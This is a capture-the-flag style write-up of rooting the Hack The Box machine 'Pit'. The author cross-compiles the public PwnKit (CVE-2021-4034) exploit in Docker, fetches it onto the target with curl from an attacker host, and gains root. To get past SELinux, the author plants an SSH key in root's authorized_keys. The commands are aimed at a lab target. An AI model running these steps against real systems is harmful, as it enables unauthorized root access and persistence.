CVE-2021-4034


PEAS found that the target system is vulnerable to CVE-2021-4034

a vulnerability, which was classified as critical, has been found in polkit (unknown version). This issue affects some unknown processing of the file /usr/bin/pkexec. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-284. The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is confidentiality, integrity, and availability.

exploit (pwnkit)


Exploit is available online

[michelle@pit shm]$ make
-bash: make: command not found
[michelle@pit shm]$ gcc
-bash: gcc: command not found
[michelle@pit shm]$ cc
-bash: cc: command not found
 
[michelle@pit shm]$ ldd --version
ldd (GNU libc) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

There is no compiler in the target system. Opting out to remote compilation

Docker Exploit Development


┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ docker run -it --entrypoint "/bin/bash" --name pit centos:8.3.2011
unable to find image 'centos:8.3.2011' locally
8.3.2011: Pulling from library/centos
7a0437f04f83: Pull complete 
digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
status: Downloaded newer image for centos:8.3.2011
 
[root@e1f8ea3c3660 /]# ldd --version
ldd (GNU libc) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

Getting the docker container up and running. I made sure to match the environment that the target system is in

[root@e1f8ea3c3660 /]# yum update -y
Failed to set locale, defaulting to C.UTF-8
centos linux 8 - appstream                                                                                   124  b/s |  38  b     00:00    
error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist

Attempting to update the repo fails because docker image doesn’t come with a GPG key. I would need to append one manually.

[root@e1f8ea3c3660 /]# cd /etc/yum.repos.d/
[root@e1f8ea3c3660 yum.repos.d]# sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
[root@e1f8ea3c3660 yum.repos.d]# sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

I got the GPG appended to the repo file. I should now be able to use the official CentOS repo

[root@e1f8ea3c3660 yum.repos.d]# yum update -y ; yum install -y net-tools nc nano gcc glibc-devel make git
 
[...REDACTED...]
 
last metadata expiration check: 0:04:29 ago on Fri 07 Apr 2023 04:49:32 PM UTC.
Dependencies resolved.
Nothing to do.
Complete!
last metadata expiration check: 0:04:30 ago on Fri 07 Apr 2023 04:49:32 PM UTC.
Dependencies resolved.
=============================================================================================================================================
 Package                             Architecture        Version                                                Repository              Size
=============================================================================================================================================
installing:
 gcc                                 x86_64              8.5.0-4.el8_5                                          appstream               23 M
 git                                 x86_64              2.27.0-1.el8                                           appstream              164 k
 glibc-devel                         x86_64              2.28-164.el8                                           baseos                 1.0 M
 make                                x86_64              1:4.2.1-10.el8                                         baseos                 498 k
 nano                                x86_64              2.9.8-1.el8                                            baseos                 581 k
 net-tools                           x86_64              2.0-0.52.20160912git.el8                               baseos                 322 k
 nmap-ncat                           x86_64              2:7.70-6.el8                                           appstream              237 k

Installing the necessary tools

[root@e1f8ea3c3660 ~]# git clone https://github.com/berdav/CVE-2021-4034.git ; cd CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56
unpacking objects: 100% (92/92), 22.69 KiB | 1.08 MiB/s, done.

Copying the exploit repo to the Docker container

[root@e1f8ea3c3660 CVE-2021-4034]# make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true gconv_path=./pwnkit.so:.

Compile

[root@e1f8ea3c3660 CVE-2021-4034]# cd ../ ; tar -czf CVE-2021-4034.tar.gz CVE-2021-4034

Archiving it for delivery

[root@e1f8ea3c3660 ~]# nc 172.17.0.1 2222 < CVE-2021-4034.tar.gz
 
┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ nnc 2222 > CVE-2021-4034.tar.gz

Then I moved it out of the Docker container to Kali where a web server is running and ready for delivery

Exploitation


[michelle@pit shm]$ curl -s http://10.10.14.5/CVE-2021-4034.tar.gz -O /dev/shm/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034

Delivery complete

[michelle@pit CVE-2021-4034]$ ./cve-2021-4034
sh-4.4# whoami
root
sh-4.4# hostname
pit.htb
sh-4.4# ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:34:c4 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.241/24 brd 10.10.10.255 scope global noprefixroute ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::fc6f:c2ab:4f8e:bbca/64 scope global dynamic noprefixroute 
       valid_lft 86393sec preferred_lft 14393sec
    inet6 fe80::8811:73af:e9e:6b74/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

System Level Compromise

SELinux


sh-4.4# cat /root/root.txt
cat: /root/root.txt: Permission denied

Yet I am unable to read the root.txt flag due to SELinux restriction

sh-4.4# ls -la /root/root.txt
-r--------. 1 root root 33 apr  7 03:01 /root/root.txt
sh-4.4# chmod 777 /root/root.txt
chmod: changing permissions of '/root/root.txt': Operation not permitted
sh-4.4# sudo chmod 777 /root/root.txt  
chmod: changing permissions of '/root/root.txt': Operation not permitted

It is really strange

sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),1000(michelle) context=user_u:user_r:user_t:s0
 
sh-4.4# sudo -l
matching defaults entries for root on pit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE
    KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    linguas _xkb_charset xauthority", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
 
user root may run the following commands on pit:
    (ALL) ALL
 
sh-4.4# su -
password: 
su: Authentication failure
 
sh-4.4# passwd 
passwd: SELinux denying access due to security policy.
sh-4.4# sudo passwd
passwd: SELinux denying access due to security policy.

It seems that even the root user is affected by the security policy set by SELinux context=user_u:user_r:user_t:s0 string proves that.

sh-4.4# setenforce 0
setenforce:  setenforce() failed
 
sh-4.4# sestatus
selinux status:                 enabled
selinuxfs mount:                /sys/fs/selinux
selinux root directory:         /etc/selinux
loaded policy name:             targeted
current mode:                   enforcing
mode from config file:          enforcing
policy mls status:              enabled
policy deny_unknown status:     allowed
memory protection checking:     actual (secure)
max kernel policy version:      33

It doesn’t allow me to drop it either.. It’s still up and running

sh-4.4# cat /etc/selinux/config
 
# This file controls the state of SELinux on the system.
# selinux= can take one of these three values:
#     enforcing - SELinux security policy is enforced.
#     permissive - SELinux prints warnings instead of enforcing.
#     disabled - No SELinux policy is loaded.
SELINUX=enforcing
# selinuxtype= can take one of these three values:
#     targeted - Targeted processes are protected,
#     minimum - Modification of targeted policy. Only selected processes are protected. 
#     mls - Multi Level Security protection.
SELINUXTYPE=targeted

Checking the configuration shows that it is set to enforcing

sh-4.4# sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config
sed: couldn't open temporary file /etc/selinux/sed28g77U: Permission denied
sh-4.4# sudo sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config
sed: couldn't open temporary file /etc/selinux/sedBMM0ac: Permission denied

I cannot even change it Overall, the system is extremely hardened.

SSH


sh-4.4# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' >> /root/.ssh/authorized_keys

So I just appended my own public SSH key to the authorized_keys file of the root user to SSH into the target system

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ ssh root@pit.htb -i ~/.ssh/id_ed25519 
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Web console: https://pit.htb:9090/
 
Last failed login: Fri Apr  7 13:04:15 EDT 2023 on pts/1
There were 4 failed login attempts since the last successful login.
Last login: Thu Nov  3 06:15:20 2022
[root@pit ~]# whoami
root
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# cat root.txt
b711fe53f0c5f01e8af26378aa7f20d7

I SSH’d into the target system as the root user. Additionally, I am no longer bound by the security policy set by SELinux as it shows; context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 unconfined_u is what that means.

I can also read the flag.